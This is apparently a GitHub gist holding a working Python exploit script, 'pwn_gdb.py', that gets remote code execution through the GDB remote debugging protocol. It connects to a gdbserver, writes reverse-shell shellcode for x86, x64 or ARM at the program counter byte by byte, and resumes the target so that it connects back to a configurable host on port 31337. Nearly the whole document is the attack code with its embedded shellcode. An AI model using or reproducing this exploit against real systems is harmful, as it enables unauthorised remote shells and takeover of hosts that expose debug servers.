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@orangetw

orangetw/pwn_gdb.py

Created Aug 31, 2015
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Remote Code Execution on GDB Remote Debugging Protocol
# coding: UTF-8
#
import sys
import gdb
import socket
import struct
import binascii
DEBUG = False
GDB_SERVER = ('127.0.0.1', 12345)
CONNECT_BACK_HOST = '127.0.0.1'
CONNECT_BACK_PORT = 31337
def _set_pair(sc):
ip = socket.inet_aton( CONNECT_BACK_HOST )
port = struct.pack('>H', CONNECT_BACK_PORT )
return binascii.unhexlify(sc).replace(b'\xff'*2, port).replace(b'\x00'*4, ip)
def reverse_shell_x86():
sc = '31c031db31c931d2b066b301516a066a016a0289e1cd8089c6b06631dbb30268' \
'000000006668ffff6653fec389e16a10515689e156cd805b31c9b103fec9b03f' \
'cd8075f831c052686e2f7368682f2f626989e3525389e15289e2b00bcd80'
return _set_pair(sc)
def reverse_shell_x64():
sc = '4831c04831ff4831f64831d24d31c06a025f6a015e6a065a6a29580f054989c0' \
'4831f64d31d24152c604240266c7442402ffffc7442404000000004889e66a10' \
'5a41505f6a2a580f054831f66a035e48ffce6a21580f0575f64831ff57575e5a' \
'48bf2f2f62696e2f736848c1ef0857545f6a3b580f05'
return _set_pair(sc)
def reverse_shell_arm():
sc = '01108fe211ff2fe102200121921a0f02193701df061c08a11022023701df3f27' \
'0221301c01df0139fbd505a0921a05b469460b2701dfc0460200ffff00000000' \
'2f62696e2f736800'
return _set_pair(sc)
def gdb_exec(cmd):
if DEBUG:
gdb.execute( cmd )
else:
gdb.execute( cmd, True, True )
if __name__ == '__main__':
gdb_exec('set confirm off')
gdb_exec('set verbose off')
ARCHS = {
'x86': reverse_shell_x86(),
'x64': reverse_shell_x64(),
'arm': reverse_shell_arm()
}
for arch, shellcode in ARCHS.items():
try:
if arch == 'arm':
gdb_exec('set architecture arm')
if arch == 'x86':
gdb_exec('set architecture i386')
if arch == 'x64':
gdb_exec('set architecture i386:x86-64')
gdb_exec('target extended-remote %s:%d' % GDB_SERVER)
bp = gdb.Breakpoint('*0', internal=True)
try:
gdb_exec('run')
except gdb.error as e:
pass
bp.delete()
for idx, ch in enumerate(shellcode):
ch = ord(ch)
if arch == 'arm':
gdb_exec('set *(unsigned char *)($pc + %d) = %d' % (idx, ch))
if arch == 'x86':
gdb_exec('set *(unsigned char *)($eip + %d) = %d' % (idx, ch))
if arch == 'x64':
gdb_exec('set *(unsigned char *)($rip + %d) = %d' % (idx, ch))
gdb_exec('continue')
gdb_exec('continue')
exit()
except gdb.error as e:
print( '##### not %s' % arch )
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